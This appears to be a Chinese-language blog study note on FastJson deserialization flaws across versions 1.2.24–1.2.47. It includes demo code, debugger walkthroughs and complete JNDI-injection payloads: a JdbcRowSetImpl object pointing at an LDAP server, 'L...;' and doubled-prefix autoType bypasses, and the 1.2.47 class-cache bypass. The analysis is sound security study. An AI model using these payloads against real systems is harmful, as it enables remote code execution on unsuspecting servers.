FastJson 反序列化研究笔记(一)
FastJson 反序列化研究笔记(一)
前言
本文是 FastJson 反序列化研究笔记的第一篇,记录的是笔者从零开始跟这条版本演进线的过程:从 1.2.24 的原始漏洞开始,逐个版本看它加了什么防护、又被怎么绕过去,一直到 1.2.47 那个不需要开启 autoType 的通用解法。
需要说明的是,笔者本身也是初学者,所以本文更接近一份学习笔记而不是权威分析。文中会尽量把每一步的断点位置、调用栈和关键代码都记录下来——一是方便自己以后回看,二是或许能给同样在学这块的人一点参考。
基础了解
先建立一个项目,在根目录的 pom.xml 加入如下 1.2.24 版本的依赖:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
随后建立一个 User 类:
package com.demo;
public class User {
private String name;
private int age;
public User() {
System.out.println("[Constructor] com.demo.User()");
}
public User(String name, int age) {
System.out.println("[Constructor] com.demo.User(String name, int age)");
this.name = name;
this.age = age;
}
public String getName() {
System.out.println("[getter] getName()");
return name;
}
public int getAge() {
System.out.println("[getter] getAge()");
return age;
}
public void setName(String name) {
System.out.println("[setter] setName(" + name + ")");
this.name = name;
}
public void setAge(int age) {
System.out.println("[setter] setAge(" + age + ")");
this.age = age;
}
@Override
public String toString() {
return "com.demo.User [name=" + name + ", age=" + age + "]";
}
}
我们创建一个 Demo1 的 Java 文件:
import com.alibaba.fastjson.JSON;
import com.demo.User;
public class Demo1 {
public static void main(String[] args) {
User user = new User("Alice", 18);
// 序列化
String json = JSON.toJSONString(user);
System.out.println(json);
// 反序列化
User newUser = JSON.parseObject(json, User.class);
System.out.println(newUser);
}
}
现在运行它,可以看到如下的输出:
[Constructor] com.demo.User(String name, int age)
[getter] getAge()
[getter] getName()
{"age":18,"name":"Alice"}
[Constructor] com.demo.User()
[setter] setAge(18)
[setter] setName(Alice)
com.demo.User [name=Alice, age=18]
我们的重点是看关于反序列化的部分,也就是 User newUser = JSON.parseObject(json, User.class); 这条语句的行为。可以看到它并不是使用 public User(String name, int age) 这个构造方法,而是默认无参的构造方法,随后再使用 setter 进行设置。
AutoType 的使用
Fastjson 支持 AutoType 功能,这个功能在序列化的 JSON 字符串中带上类型信息,在反序列化时,不需要传入类型,实现自动类型识别。
在低于 1.2.25 版本时,它是自动开启的,我们编写一个新的 Demo:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class Demo2 {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.demo.User\",\"name\":\"Bob\",\"age\":20}";
JSONObject jsonObject = JSON.parseObject(payload);
System.out.println(jsonObject);
}
}
其运行结果如下:
[Constructor] com.demo.User()
[setter] setName(Bob)
[setter] setAge(20)
[getter] getAge()
[getter] getName()
{"name":"Bob","age":20}
我们使用了 @type,@type 是 Fastjson 中的一个特性:当序列化一个对象时,Fastjson 可以将对象的类型信息作为 JSON 字符串的一部分。这样,在反序列化时,Fastjson 能够知道应该将 JSON 字符串转换回哪种具体的 Java 类型。
传入恶意的对象类型信息——低于 1.2.25 版本的反序列化漏洞
现在我们尝试第三个 demo:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class Demo3 {
public static void main(String[] args) {
// 暂时设置允许远程类加载
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}";
JSONObject jsonObject = JSON.parseObject(payload);
System.out.println(jsonObject);
}
}
高版本的 Java 需要进行的额外设置
低版本的 Java,客户端在
lookup()的过程中:
- 会先尝试在本地 CLASSPATH 中去获取对应的 Stub 类的定义,并从本地加载;
- 然而如果在本地无法找到,客户端则会向远程 Codebase 去获取攻击者指定的恶意对象。远程 Codebase 实际上是一个 URL 表,该 URL 上存放了接收方需要的类文件。
当 JDK 版本 > 8u121 时,默认禁止 RMI 远程类加载;
当 JDK 版本 > 8u191 时,默认禁止 LDAP 远程类加载。当 JDK 版本大于这些版本时,默认只允许本地加载。对于攻击者而言,不能引入新的恶意代码,只能使用已有的代码,利用点从"类加载"转向"对象构造/方法调用",也就是需要一个受害者本地 CLASSPATH 中的类作为恶意的 Reference Factory 工厂类,并利用这个本地的 Factory 类执行命令。不过这并非本文的学习课题,这里先暂时直接设置允许远程类加载。
按照类似 https://www.cnblogs.com/R4v3n/p/23369693 的方法,建立对应的 LDAP 服务器和 HTTP 服务器,运行,观察到弹出计算器。

1.2.25-1.2.41 的绕过
现在回到项目的 pom.xml,将 fastjson 的版本修改为 1.2.25,重新加载后,重新运行 Demo3,此时并不能弹出计算器,观察错误信息:
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:844)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137)
at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at com.alibaba.fastjson.JSON.parseObject(JSON.java:201)
at Demo3.main(Demo3.java:11)
提示 autoType is not support。在 1.2.25 之后的版本,以及所有的 .sec01 后缀版本中,autoType 功能是受限的,需要手动开启。那么我们尝试跟进 JSON.parseObject 方法,查看做了什么:

跟进这个 checkAutoType 方法:

当设置了 autoTypeSupport,将会进行黑白名单校验,白名单是用户自己添加的,这里我们关注黑名单:

当经过这个校验后,代码
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
将会尝试从 fastjson 的缓存表里查这个类;查到就直接返回,查不到返回 null。随后当 autoTypeSupport=true 时,再次进行校验,最后执行如下代码:
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
我们继续跟进:

注意到当 className 以 L 开头并以 ; 为结尾时,将会进行一次 substring 操作,把首尾这两个字符删掉,然后对剩下的字符串执行 loadClass。
那么我们尝试构造这样的字符串:
String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}";
按照上面的逻辑,那么最后的 @type 就会是我们想要的 com.sun.rowset.JdbcRowSetImpl:

成功弹出了计算器。
为什么会有这两个特殊的条件分支
这两个分支原本是为了解析
Class.getName()的数组/描述符格式。当以[开头时说明 className 是个数组,而以L开头;结尾则表示这是一个对象类型。例如当类型是String[]时,Class.getName()结果将是[Ljava.lang.String;,按照上述的逻辑,将会进行如下流程:loadClass("[Ljava.lang.String;") ├─ 命中分支一('[') substring(1) → "Ljava.lang.String;" │ └─ 递归 loadClass("Ljava.lang.String;") │ ├─ 命中分支二(L...;) → "java.lang.String" │ │ └─ 递归 loadClass("java.lang.String") → String.class │ └─ 返回 String.class └─ Array.newInstance(String.class, 0).getClass() → String[].class
1.2.42 版本绕过
按照前面的分析,我们直接定位到 checkAutoType 方法:

和前面不同,这里出现了很奇怪的数字,显然是做了混淆处理。但我们先不急着找混淆相关的代码,直接打上断点:

我们最开始的 className 是 Lcom.sun.rowset.JdbcRowSetImpl;,经过这条判断后:

显然,这部分的分支就是判断 className 的首字符是否以 L 开始并以 ; 结束,如果是那就删掉,然后进入下面的判断:

同样,这部分和前面的 1.2.41 的区别无非是加了一些黑名单,然后将其 hash 以扰乱安全研究者。此时,如预期一般,就会被黑名单检测到,从而报错:

我们仍然不急着去想如何绕过这个黑名单,我们继续往下看,像前面的分析一样,进入 TypeUtils.loadClass 方法:


这里的代码并没有任何的变化。但是我们在前一节的分析中,得知了这个方法是会被递归调用的,而 checkAutoType 方法只是对最开始的字符串进行了一次删除而已,这意味着我们只要双写就可以进行绕过。于是我们在前一节的基础上,简单地多加一层:
String payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}";
就可以实现绕过。
低于 1.2.47 版本的通用解法
1.2.43-1.2.45 这几个版本间也都存在对应的绕过手段,不过都是一些小修小补。这里我们直接将 fastjson 版本提升到 1.2.47 版本,在这个版本,不需要开启 autoType 就可以进行攻击,而且对于之前的版本均适用。
这次我们换一种方法,根据 PoC 跟适用条件进行分析。首先给出最终的 Payload:
String payload =
"{\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
"\"2\":{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\"," +
"\"autoCommit\":true" +
"}}";
这里可以发现,和先前的 payload 不同,这里出现了两个 @type,并且第二个 @type 就是最初的没有任何过滤的 payload。和之前一样,定位到 checkAutoType 方法,既然这次的 payload 并不需要添加 L 前缀,并且不需要手动开启 autoType,那么我们直接跳到下面的分支,打上断点,看 clazz 在哪个地方被进行了设置:

首先是第一个 @type:


第一个 @type 经过 this.deserializers.findClass 方法后成功进行了设置;
第二个 @type:

这次则是在经过 TypeUtils.getClassFromMapping 方法后就进行了设置。
第一个分支的 this.deserializers.findClass 方法看起来并没有什么特别的地方:

那么现在检查 TypeUtils.getClassFromMapping 方法:

就是很简单的从 mappings 利用 get 方法找出 className 对应的值,而查看 mappings,它是这样定义的:
private static ConcurrentMap<String, Class<?>> mappings = new ConcurrentHashMap(16, 0.75F, 1);
这是一个静态变量。根据前面的分析,我们可以很简单地得到:在两个 @type 解析间,一定发生了某个步骤设置了这个 mappings。而 mappings 又是属于 TypeUtils 的私有静态变量,那么很显然里面一定存在着对应设置 mappings 的方法。只要在那个方法打上断点,我们就可以通过查看调用栈得知到底是哪一步设置了 mappings,于是在 TypeUtils 类搜索 mappings.put 关键字,只有两个方法:一个是 addBaseClassMappings,另一个是 loadClass 方法。第一个方法是 mappings 的初始化过程,那么我们在第二个方法打上断点,继续调试:

然后查看左下角的调用栈,可以看到,在第一个 @type 的解析后调用了 deserialzer.deserialize 方法:

随后在这个 deserialze 方法内调用了 TypeUtils.loadClass 方法:

而此时传入的 strVal 对应的就是第一个键 1 内的 val,也就是 com.sun.rowset.JdbcRowSetImpl。
因为现在 mappings 内拥有了 com.sun.rowset.JdbcRowSetImpl,第二次进行 checkAutoType 方法就会从 TypeUtils.getClassFromMapping 方法直接取出正确的类,然后按照前面的步骤进行解析,从而实现代码执行。

浙公网安备 33010602011771号